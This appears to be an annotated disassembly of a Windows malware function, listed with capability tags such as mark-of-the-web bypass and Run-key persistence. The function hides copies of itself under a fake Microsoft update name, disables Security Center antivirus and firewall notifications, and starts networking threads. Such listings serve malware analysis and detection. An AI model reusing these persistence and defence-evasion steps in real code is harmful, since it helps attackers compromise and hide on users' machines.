Function at 0x4057d0
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc74
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x410080]
mov dword [ebp - 0x260], eax
mov cx, word [0x410084]
mov word [ebp - 0x25c], cx
mov dl, byte [0x410086]
mov byte [ebp - 0x25a], dl
mov ecx, 7
mov esi, 0x410088
lea edi, [ebp - 0x8a0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x10
mov esi, str.Microsoft_Windows_Update_Service
lea edi, [ebp - 0x258]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x260]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xaac], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40585f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x413530
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x413530
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x413530
push str._s:Zone.Identifier
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0xaa8]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xc44], str.wsecsvcmgr.exe
mov ecx, dword [ebp - 0x210]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xc4a], ax
mov ecx, dword [ebp - 0xc44]
cmp ax, word [ecx]
jne 0x405950
cmp word [ebp - 0xc4a], 0
je 0x405944
mov edx, dword [ebp - 0xc48]
mov ax, word [edx + 2]
mov word [ebp - 0xc4c], ax
mov ecx, dword [ebp - 0xc44]
cmp ax, word [ecx + 2]
jne 0x405950
add dword [ebp - 0xc48], 4
add dword [ebp - 0xc44], 4
cmp word [ebp - 0xc4c], 0
jne 0x4058ea
mov dword [ebp - 0xc50], 0
jmp 0x40595b
sbb edx, edx
sbb edx, 0xffffffff
mov dword [ebp - 0xc50], edx
mov eax, dword [ebp - 0xc50]
mov dword [ebp - 0xc54], eax
cmp dword [ebp - 0xc54], 0
je 0x405bdf
call fcn.0040cb30
movzx ecx, al
cmp ecx, 1
jne 0x405989
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0x880]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x8a0]
push eax
lea ecx, [ebp - 0x880]
push ecx
push 0x410164
lea edx, [ebp - 0x678]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x678]
push eax
push 0x413530
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405aba
push 3
lea ecx, [ebp - 0x678]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x46c]
push edx
push 0x20006
push 0
push 0x410170
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405a9b
lea eax, [ebp - 0x678]
mov dword [ebp - 0xc58], eax
mov ecx, dword [ebp - 0xc58]
add ecx, 2
mov dword [ebp - 0xc5c], ecx
mov edx, dword [ebp - 0xc58]
mov ax, word [edx]
mov word [ebp - 0xc5e], ax
add dword [ebp - 0xc58], 2
cmp word [ebp - 0xc5e], 0
jne 0x405a2f
mov ecx, dword [ebp - 0xc58]
sub ecx, dword [ebp - 0xc5c]
sar ecx, 1
mov dword [ebp - 0xc64], ecx
mov edx, dword [ebp - 0xc64]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x678]
push ecx
push 1
push 0
lea edx, [ebp - 0x258]
push edx
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x678]
push edx
call fcn.0040cdd0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x405aba
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x8a0]
push ecx
lea edx, [ebp - 0xaa8]
push edx
push 0x4101d0
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x468]
push ecx
push 0x413530
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405bdf
push 3
lea edx, [ebp - 0x468]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x46c]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405bc0
lea ecx, [ebp - 0x468]
mov dword [ebp - 0xc68], ecx
mov edx, dword [ebp - 0xc68]
add edx, 2
mov dword [ebp - 0xc6c], edx
mov eax, dword [ebp - 0xc68]
mov cx, word [eax]
mov word [ebp - 0xc6e], cx
add dword [ebp - 0xc68], 2
cmp word [ebp - 0xc6e], 0
jne 0x405b54
mov edx, dword [ebp - 0xc68]
sub edx, dword [ebp - 0xc6c]
sar edx, 1
mov dword [ebp - 0xc74], edx
mov eax, dword [ebp - 0xc74]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x468]
push edx
push 1
push 0
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x468]
push eax
call fcn.0040cdd0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x405bdf
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x46c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405cf6
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x410260
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x410274
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41028c
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4102a0
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x4102b4
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4102cc
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4102dc
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x46c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405e02
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x46c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x46c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040aa80
movzx ecx, al
test ecx, ecx
je 0x405f4d
lea edx, [ebp - 0xc40]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xaa8]
push eax
push str._s_nodesinfo.dat
push 0x413740
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xaa8]
push ecx
push str._scmdinfo.dat
push 0x413120
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x403ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x404fa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004040f0
call fcn.0040ca60
call fcn.004056a0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x413964], eax
call fcn.0040a1b0
mov dword [0x41396c], eax
call fcn.0040b530
mov dword [0x413968], eax
call fcn.00409600
push 0
push 0
push 0
push 0x40b9f0
push 0
mov edx, dword [0x413968]
push edx
call fcn.0040b5e0
add esp, 0x18
push 0
push 0
push 0
push 0x40b950
push 0
mov eax, dword [0x413968]
push eax
call fcn.0040b5e0
add esp, 0x18
push 0
push 0
push 0
push 0x40b4e0
push 0
mov ecx, dword [0x413968]
push ecx
call fcn.0040b5e0
add esp, 0x18
push 0
push 0
push 0
push 0x40b2e0
push 0
mov edx, dword [0x413968]
push edx
call fcn.0040b5e0
add esp, 0x18
jmp 0x405f51
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret